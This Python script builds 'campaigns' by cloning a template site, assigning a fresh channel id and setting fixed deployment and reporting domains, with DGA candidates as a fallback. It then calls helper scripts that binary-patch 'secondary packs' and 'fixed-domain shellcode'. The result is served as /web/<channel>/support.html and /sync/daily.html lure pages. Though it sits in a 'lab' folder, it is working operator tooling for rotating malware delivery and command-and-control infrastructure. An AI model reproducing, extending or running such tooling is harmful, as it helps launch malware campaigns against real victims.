300 lines
9.8 KiB
Python
300 lines
9.8 KiB
Python
#!/usr/bin/env python3
|
|
"""Build server/public campaign trees from source/ with new channel + domains.
|
|
|
|
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
|
|
Deployment/Reporting domains change (or on first run). Re-running with the same
|
|
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
from _channel_patch import gen_channel_id, validate_channel_id
|
|
from _domain_patch import parse_domain_list
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
LAB_ROOT = TOOLS.parent
|
|
SOURCE_ROOT = LAB_ROOT / "source"
|
|
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
|
|
|
|
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|
skip = {"_bak", "__pycache__", ".DS_Store"}
|
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
|
|
|
|
|
def replace_tree(src: Path, dst: Path) -> None:
|
|
if dst.exists():
|
|
shutil.rmtree(dst)
|
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
|
|
|
|
|
def copy_campaign_template(dst_campaign: Path) -> None:
|
|
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
|
if not src.is_dir():
|
|
raise SystemExit(f"missing source campaign: {src}")
|
|
if dst_campaign.exists():
|
|
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
|
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
|
|
|
|
|
def load_json(path: Path) -> dict | None:
|
|
if not path.is_file():
|
|
return None
|
|
return json.loads(path.read_text())
|
|
|
|
|
|
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
|
|
if not prev or prev.get("mode") != "fixed_domains":
|
|
return False
|
|
return (
|
|
prev.get("deployment", {}).get("domains") == dep
|
|
and prev.get("reporting", {}).get("domains") == rep
|
|
)
|
|
|
|
|
|
def pick_channel(explicit: str | None, web_root: Path) -> str:
|
|
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
|
while (web_root / channel).exists():
|
|
if explicit:
|
|
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
|
|
channel = gen_channel_id()
|
|
return channel
|
|
|
|
|
|
def run(cmd: list[str]) -> None:
|
|
print("+", " ".join(cmd), flush=True)
|
|
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description=(
|
|
"From source/, create server/public/web/<channel-id>/ with a new "
|
|
"channel id and patched secondary packs; rebuild sync/ when domains change."
|
|
)
|
|
)
|
|
parser.add_argument(
|
|
"--channel-id",
|
|
help="optional 32-hex channel id (default: random, unique under web/)",
|
|
)
|
|
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
|
|
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
|
|
parser.add_argument(
|
|
"--deployment-domains",
|
|
action="append",
|
|
default=[],
|
|
help="fixed Deployment hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument(
|
|
"--reporting-domains",
|
|
action="append",
|
|
default=[],
|
|
help="fixed Reporting hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument(
|
|
"-n",
|
|
"--count",
|
|
type=int,
|
|
default=5,
|
|
help="DGA candidates to print when not using fixed domains (default 5)",
|
|
)
|
|
parser.add_argument(
|
|
"--force-sync",
|
|
action="store_true",
|
|
help="rebuild sync/ even when domains match the previous project",
|
|
)
|
|
parser.add_argument(
|
|
"--skip-patch",
|
|
action="store_true",
|
|
help="only copy source campaign+sync into server/public (no binary patch)",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
|
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
|
if not args.deployment_domains and not args.skip_patch:
|
|
raise SystemExit(
|
|
"new_project requires --deployment-domains / --reporting-domains "
|
|
"(or --skip-patch for a raw source copy)"
|
|
)
|
|
|
|
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
|
src_sync = SOURCE_ROOT / "sync"
|
|
if not src_campaign.is_dir():
|
|
raise SystemExit(f"missing source campaign: {src_campaign}")
|
|
if not src_sync.is_dir():
|
|
raise SystemExit(f"missing source sync: {src_sync}")
|
|
|
|
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
|
web_root = APPLY_ROOT / "web"
|
|
sync_dir = APPLY_ROOT / "sync"
|
|
out_root = APPLY_ROOT / "out"
|
|
out_root.mkdir(parents=True, exist_ok=True)
|
|
web_root.mkdir(parents=True, exist_ok=True)
|
|
|
|
channel = pick_channel(args.channel_id, web_root)
|
|
campaign_dir = web_root / channel
|
|
|
|
fixed_dep = (
|
|
parse_domain_list(args.deployment_domains, label="deployment")
|
|
if args.deployment_domains
|
|
else None
|
|
)
|
|
fixed_rep = (
|
|
parse_domain_list(args.reporting_domains, label="reporting")
|
|
if args.reporting_domains
|
|
else None
|
|
)
|
|
|
|
prev_domains = load_json(out_root / "domains.json")
|
|
prev_seeds = load_json(out_root / "seeds.json")
|
|
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
|
|
same_domains = (
|
|
fixed_dep is not None
|
|
and fixed_rep is not None
|
|
and domains_equal(prev_domains, fixed_dep, fixed_rep)
|
|
and sync_ready
|
|
and not args.force_sync
|
|
)
|
|
|
|
print("=== new_project ===")
|
|
print(f"channel: {channel}")
|
|
print(f"web dest: {campaign_dir}")
|
|
if fixed_dep is not None:
|
|
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
|
|
print(f" deployment: {', '.join(fixed_dep)}")
|
|
print(f" reporting: {', '.join(fixed_rep)}")
|
|
print()
|
|
|
|
print("=== copy campaign template ===")
|
|
print(f"from: {src_campaign}")
|
|
print(f"to: {campaign_dir}")
|
|
copy_campaign_template(campaign_dir)
|
|
print(f"created web/{channel}/")
|
|
|
|
if args.skip_patch:
|
|
if not sync_ready:
|
|
print("=== copy sync from source ===")
|
|
replace_tree(src_sync, sync_dir)
|
|
(out_root / "channel.json").write_text(
|
|
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
|
|
)
|
|
print("skip-patch: done")
|
|
return 0
|
|
|
|
assert fixed_dep is not None and fixed_rep is not None
|
|
|
|
py = sys.executable
|
|
domain_args: list[str] = []
|
|
for item in fixed_dep:
|
|
domain_args += ["--deployment-domains", item]
|
|
for item in fixed_rep:
|
|
domain_args += ["--reporting-domains", item]
|
|
|
|
if same_domains:
|
|
# Reuse seeds so fixed-domain shellcode matches existing sync/.
|
|
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
|
|
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
|
|
if not dep or not rep:
|
|
raise SystemExit(
|
|
"domains unchanged but out/seeds.json missing seeds; "
|
|
"pass --deployment-seed/--reporting-seed or --force-sync"
|
|
)
|
|
print("=== domains unchanged: patch secondary only ===")
|
|
print(f"reuse seeds dep={dep} rep={rep}")
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_secondary_packs.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"--channel-id",
|
|
channel,
|
|
*domain_args,
|
|
"--root",
|
|
str(APPLY_ROOT),
|
|
"--apply",
|
|
]
|
|
)
|
|
(out_root / "channel.json").write_text(
|
|
json.dumps(
|
|
{
|
|
"channel_id": channel,
|
|
"patched": True,
|
|
"sync_rebuilt": False,
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"deployment_domains": fixed_dep,
|
|
"reporting_domains": fixed_rep,
|
|
},
|
|
indent=2,
|
|
)
|
|
+ "\n"
|
|
)
|
|
else:
|
|
print("=== domains new/changed: reset sync + full patch ===")
|
|
replace_tree(src_sync, sync_dir)
|
|
print(f"copied sync/ -> {sync_dir}")
|
|
cmd = [
|
|
py,
|
|
str(TOOLS / "patch_all.py"),
|
|
"--apply",
|
|
"--root",
|
|
str(APPLY_ROOT),
|
|
"--channel-id",
|
|
channel,
|
|
"-n",
|
|
str(args.count),
|
|
*domain_args,
|
|
]
|
|
if args.deployment_seed:
|
|
cmd += ["--deployment-seed", args.deployment_seed]
|
|
if args.reporting_seed:
|
|
cmd += ["--reporting-seed", args.reporting_seed]
|
|
print()
|
|
print("=== patch_all --apply ===")
|
|
run(cmd)
|
|
seeds = load_json(out_root / "seeds.json") or {}
|
|
(out_root / "channel.json").write_text(
|
|
json.dumps(
|
|
{
|
|
"channel_id": channel,
|
|
"patched": True,
|
|
"sync_rebuilt": True,
|
|
"deployment_seed": seeds.get("deployment_seed"),
|
|
"reporting_seed": seeds.get("reporting_seed"),
|
|
"deployment_domains": fixed_dep,
|
|
"reporting_domains": fixed_rep,
|
|
},
|
|
indent=2,
|
|
)
|
|
+ "\n"
|
|
)
|
|
|
|
print()
|
|
print("=== ready ===")
|
|
print(f"web: {campaign_dir}")
|
|
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
|
|
print(f"channel: {out_root / 'channel.json'}")
|
|
print(f"seeds: {out_root / 'seeds.json'}")
|
|
print(f"domains: {out_root / 'domains.json'}")
|
|
print()
|
|
print("served by Laravel public:")
|
|
print(f" /web/{channel}/support.html")
|
|
print(" /sync/daily.html")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|